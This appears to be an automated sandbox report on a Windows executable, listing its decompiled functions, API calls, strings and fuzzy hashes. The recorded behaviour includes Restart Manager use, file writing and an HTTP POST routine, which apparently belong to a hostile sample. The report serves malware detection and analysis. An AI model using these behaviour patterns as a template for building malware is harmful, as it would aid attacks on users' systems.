Strings

\key, xrefs: 00206D2B, 00206D48
en_k, xrefs: 00206BE5
os_c, xrefs: 00206BBC

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3$Heap$H_prolog3_Process$AllocFreeFunc_classlstrlen
String ID: \key$en_k$os_c
API String ID: 3880169058-3393669898
Opcode ID: 90e95ac2383a5bb3f146f9e6e8cf0b186a2f8d761f6bf821d4d84a4c58c5c1ab
Instruction ID: f70ccfc897323173d6aec1148656b440848810bc613c356568825153e4d7006a
Opcode Fuzzy Hash: 90e95ac2383a5bb3f146f9e6e8cf0b186a2f8d761f6bf821d4d84a4c58c5c1ab
Instruction Fuzzy Hash: FC719970D20348EBDF14EBA4DD49BAEBBB4AF46300F504059F505AB292DB701A18CFA2

Function 0021AE24 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 146memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021AE2E

Part of subcall function 0021ABF2: __EH_prolog3_GS.LIBCMT ref: 0021ABF9
Part of subcall function 0021ABF2: ctype.LIBCPMT ref: 0021ACB5

Part of subcall function 0020B7BF: __EH_prolog3.LIBCMT ref: 0020B7C6

Part of subcall function 0021C2B7: __EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C0F0: __EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

GetProcessHeap.KERNEL32 ref: 0021AF79
HeapAlloc.KERNEL32(00000000,00000000,?), ref: 0021AF82

Strings

17211235534172093521, xrefs: 0021AED1
@, xrefs: 0021AEA3
Kernel32.dll, xrefs: 0021AEBB
18081020163143810973, xrefs: 0021AF16
8780785037186610294, xrefs: 0021AEF3
ntdll.dll, xrefs: 0021AE9B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$Heap$AllocH_prolog3H_prolog3_catch_Processctype
String ID: 17211235534172093521$18081020163143810973$8780785037186610294$@$Kernel32.dll$ntdll.dll
API String ID: 614703607-287778538
Opcode ID: f9534a42ccaf838697f52081e0d56e39f9f291e85f89161e539cfedc23b9ee38
Instruction ID: cc2e450caa61e659f3c816578dd352b0bd808ce7626c28e539f64aae2e10fa8a
Opcode Fuzzy Hash: f9534a42ccaf838697f52081e0d56e39f9f291e85f89161e539cfedc23b9ee38
Instruction Fuzzy Hash: 7C5149B1D1034CEFDB11EFA8C945ADEBBB9AF19344F10406AE404A7281D6705E55CF61

Function 00222738 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00222857
___TypeMatch.LIBVCRUNTIME ref: 00222965
_UnwindNestedFrames.LIBCMT ref: 00222AB7
CallUnexpected.LIBVCRUNTIME ref: 00222AD2

Strings

csm, xrefs: 002227E2
csm, xrefs: 0022288E
csm, xrefs: 00222775
,k$, xrefs: 0022284E

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: ,k$$csm$csm$csm
API String ID: 2751267872-3737283564
Opcode ID: a13e0ddc9aee0a2a642b6ba00b7cca06aba287c6f9979a01dcf181957afd8aa0
Instruction ID: 78d0a1e779bc585bd94eebb5185d6439643219e0ad6447b8b8251d26ce2cb9c8
Opcode Fuzzy Hash: a13e0ddc9aee0a2a642b6ba00b7cca06aba287c6f9979a01dcf181957afd8aa0
Instruction Fuzzy Hash: 04B15A3182022AFFCF28DFD4E8419AEB7B5FF14310B144559E8116B212D736DA69CFA1

Function 0021F7D0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0021F7D6
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0021F7E4
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0021F7F5
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0021F806

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0021F7EA
kernel32.dll, xrefs: 0021F7D1
GetTempPath2W, xrefs: 0021F7FB
GetCurrentPackageId, xrefs: 0021F7DE

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 806412feefc237998a99836d57815faf5ecc8c0d67f5e96149a858473b852800
Instruction ID: 450d9256cef6ce853176d5c47bad58629a513867760599d7fca4501173ac5831
Opcode Fuzzy Hash: 806412feefc237998a99836d57815faf5ecc8c0d67f5e96149a858473b852800
Instruction Fuzzy Hash: 08E012B556A310AF97186F70BC0E88A7EB9FA1F7523015126F415D3160E770445CDF9A

Function 00233DB0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0023402A, 0023402F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: f254e651d7ba42da03ab8199729059b42e09b761e1f2e273d47e2eb1434fd019
Instruction ID: 7cc06866881511db28cd15e94d94b14cba947921e058b32309b58a3f5e77eea7
Opcode Fuzzy Hash: f254e651d7ba42da03ab8199729059b42e09b761e1f2e273d47e2eb1434fd019
Instruction Fuzzy Hash: 10B124B0E24355AFDB15EF98D842BAD7BB1BF49300F144199E90597382C7B0AE61CF61

Function 0023E8B8 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(03371D40,03371D40,?,7FFFFFFF,?,0023EB88,03371D40,03371D40,?,03371D40,?,?,?,?,03371D40,?), ref: 0023E95E
__alloca_probe_16.LIBCMT ref: 0023EA19
__alloca_probe_16.LIBCMT ref: 0023EAA8
__freea.LIBCMT ref: 0023EAF3
__freea.LIBCMT ref: 0023EAF9
__freea.LIBCMT ref: 0023EB2F
__freea.LIBCMT ref: 0023EB35
__freea.LIBCMT ref: 0023EB45

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 3a9433195308d5b2b7ac064074809e4a3f6c673935dcebebf3c1f85475a7b450
Instruction ID: 6c49f142c649bdb2a53f9f9089cccce95cccaa2fb89893041fa4b2a7e2f5d279
Opcode Fuzzy Hash: 3a9433195308d5b2b7ac064074809e4a3f6c673935dcebebf3c1f85475a7b450
Instruction Fuzzy Hash: AB7117F2A2020A5BDF219E548C41FAFB7BAAF49314F2A0455F805A72C1D771DC38CBA1

Function 0021F996 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0021F9DF
__alloca_probe_16.LIBCMT ref: 0021FA0B
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0021FA4A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0021FA67
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0021FAA6
__alloca_probe_16.LIBCMT ref: 0021FAC3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0021FB05
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0021FB28

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 10c8c402948a6e98991b40ac6e73482989454fb5f67e6f848e055048ccdb7c36
Instruction ID: 16ee81853fe39c9c411f257a023a8eca2487ee1506957aa6fdbd8b745e3c8fb5
Opcode Fuzzy Hash: 10c8c402948a6e98991b40ac6e73482989454fb5f67e6f848e055048ccdb7c36
Instruction Fuzzy Hash: 3051BD7262021AABEF609FA0DD48FEB7BE9EF25754F104035F925E6190D7748DA0CB50

Function 0023451B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002345A1

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 12cbd57efc24f00b10807126745757f58c8e6f66b67890c3a73c114f1d70c3a1
Instruction ID: e2ece3b51dd7c363fb48d28b93b867c4f9981616cf4dd9e9fc448609dde1a247
Opcode Fuzzy Hash: 12cbd57efc24f00b10807126745757f58c8e6f66b67890c3a73c114f1d70c3a1
Instruction Fuzzy Hash: 67B14CB2E203569FDB15DF54CC82BAEBBA5EF16310F144195E904AB382D374E921CBA0

Function 00206671 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 199COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020667B

Part of subcall function 00206543: __EH_prolog3_GS.LIBCMT ref: 0020654D

OutputDebugStringA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00206893

Strings

POST, xrefs: 00206797
Content-Type: application/octet-stream; boundary=----, xrefs: 002067B9
(, xrefs: 0020680C
--------, xrefs: 0020683F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$DebugOutputString
String ID: --------$($Content-Type: application/octet-stream; boundary=----$POST
API String ID: 345087456-2938435220
Opcode ID: cc8b9744e480a47864bc44daa322ffa30b5f64cd1cedadf7e20ea9ffade005eb
Instruction ID: f33430b412579ea7fc92080e56c4d37bbc9e69321094ace0a723bb4c008dbed5
Opcode Fuzzy Hash: cc8b9744e480a47864bc44daa322ffa30b5f64cd1cedadf7e20ea9ffade005eb
Instruction Fuzzy Hash: 4B7182B0A102199FEF209F10CD49BAA77B8EF45714F004199FA09A7292DB709E94CF65

Function 0021B335 Relevance: 10.7, APIs: 7, Instructions: 159synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0021C2B7: __EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C0F0: __EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

RmStartSession.RSTRTMGR(?,00000000,?,?,?,00000000), ref: 0021B3F0

Part of subcall function 0021ABF2: __EH_prolog3_GS.LIBCMT ref: 0021ABF9
Part of subcall function 0021ABF2: ctype.LIBCPMT ref: 0021ACB5

RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000), ref: 0021B43F
RmGetList.RSTRTMGR(?,?,0000000A,?,?), ref: 0021B479
GetCurrentProcessId.KERNEL32 ref: 0021B493
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0021B4CF
CloseHandle.KERNEL32(00000000), ref: 0021B4D6
RmEndSession.RSTRTMGR(?), ref: 0021B4F9

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_Session$CloseCurrentH_prolog3_catch_HandleListObjectProcessRegisterResourcesSingleStartWaitctype
String ID:
API String ID: 4225474974-0
Opcode ID: 80f8344a80c9c2d2c5dfc009d93590a7a95aceb71541b67b8a38385e2a078547
Instruction ID: 3711bd7d9135403a1a5c1ecbefc14faf8d97428c81d256aac178250e89bb91e1
Opcode Fuzzy Hash: 80f8344a80c9c2d2c5dfc009d93590a7a95aceb71541b67b8a38385e2a078547
Instruction Fuzzy Hash: BC518B71A11218AFDB21DF64CD89ADE7BB8BF16340F4041A9F40AA3582DB349F84CF52

Function 002201A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002201D7
___except_validate_context_record.LIBVCRUNTIME ref: 002201DF
_ValidateLocalCookies.LIBCMT ref: 00220268
__IsNonwritableInCurrentImage.LIBCMT ref: 00220293
_ValidateLocalCookies.LIBCMT ref: 002202E8

Strings

csm, xrefs: 0022027D

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 240253b9c5ff27b4f3702c5cf29803c76fd48eb5cfcba5c15d25a90612313fb4
Instruction ID: a4858fc1848becd75b8c0d269c5379e012454b0e359c7372bfef265cbfaec788
Opcode Fuzzy Hash: 240253b9c5ff27b4f3702c5cf29803c76fd48eb5cfcba5c15d25a90612313fb4
Instruction Fuzzy Hash: 86419834920229FBCF10DFA8D8C4A9E7BB5EF45314F148256EC185B352D735AA25CF90

Function 0021A393 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0021A39A
std::_Lockit::_Lockit.LIBCPMT ref: 0021A3A7
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0021A3F8

Part of subcall function 0021DF22: _Yarn.LIBCPMT ref: 0021DF41
Part of subcall function 0021DF22: _Yarn.LIBCPMT ref: 0021DF65

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0021A44A
std::_Lockit::~_Lockit.LIBCPMT ref: 0021A4D6

Strings

bad locale name, xrefs: 0021A40D

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: std::_$Locinfo::_LockitYarn$H_prolog3Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2469272659-1405518554
Opcode ID: 17261a740056a2038ff8e84bcc63e5d84dc1f6618c53da4988ec7ed0316810a2
Instruction ID: 1e3c632b4a88b2175af3244c3e8f8d72bf74da0c3155273a0583154e0c37be1a
Opcode Fuzzy Hash: 17261a740056a2038ff8e84bcc63e5d84dc1f6618c53da4988ec7ed0316810a2
Instruction Fuzzy Hash: 4241C471815B84EECB31DFA9D64578AFBF0EF14310F108A6EE08A93A81C7B49A54CF55

Function 0022FDF8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\OXoeX1Ii3x.exe, xrefs: 0022FE14
\#, xrefs: 0022FE49

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: \#$C:\Users\user\Desktop\OXoeX1Ii3x.exe
API String ID: 0-3005865697
Opcode ID: c271204ece687104f70b18b05de1d418e72e27ef64b4f00910f1af6b79c47411
Instruction ID: d823e03d233bf372e581a7c5b028970e11f2f4d89507f21ef55bd05325a0819b
Opcode Fuzzy Hash: c271204ece687104f70b18b05de1d418e72e27ef64b4f00910f1af6b79c47411
Instruction Fuzzy Hash: B921D772620226BFDB52AFE0FE4596B77B9BF013547124534F91597262E770DC208B90

Function 00231D4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,07CD655B,?,00231E59,?,?,00000000,?), ref: 00231E0B

Strings

ext-ms-, xrefs: 00231DB5
api-ms-, xrefs: 00231DA1

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6f1e3ab9cf67e27758face875b1fa313cfc5caccec2da53cb99068273c0f02ed
Instruction ID: 37a47b81027d2fdd3cde41a3a5f9e1da3e2f6704d7ef6c4436324d11e36df8aa
Opcode Fuzzy Hash: 6f1e3ab9cf67e27758face875b1fa313cfc5caccec2da53cb99068273c0f02ed
Instruction Fuzzy Hash: 29212BB5A20225A7C7229F64FC49A5E3768EF437A0F110160F815A72D1E770ED30C6E1

Function 00223D92 Relevance: 9.3, APIs: 6, Instructions: 265COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00223F1A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00223F36
__allrem.LIBCMT ref: 00223F4D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00223F6B
__allrem.LIBCMT ref: 00223F82
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00223FA0

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c2c21de6e89a5a046325f8e7b47af35d8f050f99e2fc3b5b3c456845d04feeb3
Instruction ID: 7225c3946d80a06055b0c4ac0ff21a835e4dc01752a92976e3c530509240b72e
Opcode Fuzzy Hash: c2c21de6e89a5a046325f8e7b47af35d8f050f99e2fc3b5b3c456845d04feeb3
Instruction Fuzzy Hash: 3A8138B1A20722BBE724EFA8EC82B5AB3E9AF44320F144129F515D7691E774DB548F40

Function 0021760F Relevance: 9.1, APIs: 6, Instructions: 78fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00217644
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000080,00000000,?,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00217679
SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,40000000,00000000,00000000,00000003,00000080,00000000,?,?,40000000,00000000,00000000), ref: 0021768C
WriteFile.KERNEL32(00000000,?,00000001,?,00000000,?,40000000,00000000,00000000,00000003,00000080,00000000,?,?,40000000,00000000), ref: 002176A3
CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000003,00000080,00000000,?,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 002176AA
CloseHandle.KERNEL32(00000000,?,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 002176B9

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: File$CloseCreateHandle$PointerWrite
String ID:
API String ID: 2606874340-0
Opcode ID: e43e19a695c682e7119b1946e576daeb14934668038141d01f826d4df314fb68
Instruction ID: 11ce2704d2f05fae8b568a495bda00d48c6713b2f7594b1c7d682e23627bade4
Opcode Fuzzy Hash: e43e19a695c682e7119b1946e576daeb14934668038141d01f826d4df314fb68
Instruction Fuzzy Hash: 35219F71710204AFE7249F6CEC4EFAA77BCFB4A711F040658F116D7290D6B0AC848B60

Function 0021E3C2 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0021E3C9
std::_Lockit::_Lockit.LIBCPMT ref: 0021E3D3

Part of subcall function 0021A4EA: __EH_prolog3_GS.LIBCMT ref: 0021A4F1
Part of subcall function 0021A4EA: std::_Lockit::_Lockit.LIBCPMT ref: 0021A502
Part of subcall function 0021A4EA: std::_Lockit::~_Lockit.LIBCPMT ref: 0021A524

codecvt.LIBCPMT ref: 0021E40D
std::_Facet_Register.LIBCPMT ref: 0021E424
std::_Lockit::~_Lockit.LIBCPMT ref: 0021E444
Concurrency::cancel_current_task.LIBCPMT ref: 0021E451

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercodecvt
String ID:
API String ID: 878568432-0
Opcode ID: f313292dfd397670ee9213fc82e90359afc3365849f867cee631818de9461c50
Instruction ID: 4654047cfdd8c31d7acdc72490fe82d030be596959df98b242bcbd29c40c79c7
Opcode Fuzzy Hash: f313292dfd397670ee9213fc82e90359afc3365849f867cee631818de9461c50
Instruction Fuzzy Hash: C51133719202299FCB04EF64D8466EEBBF5EF54310F24041EE802A7381EBB09E51CF82

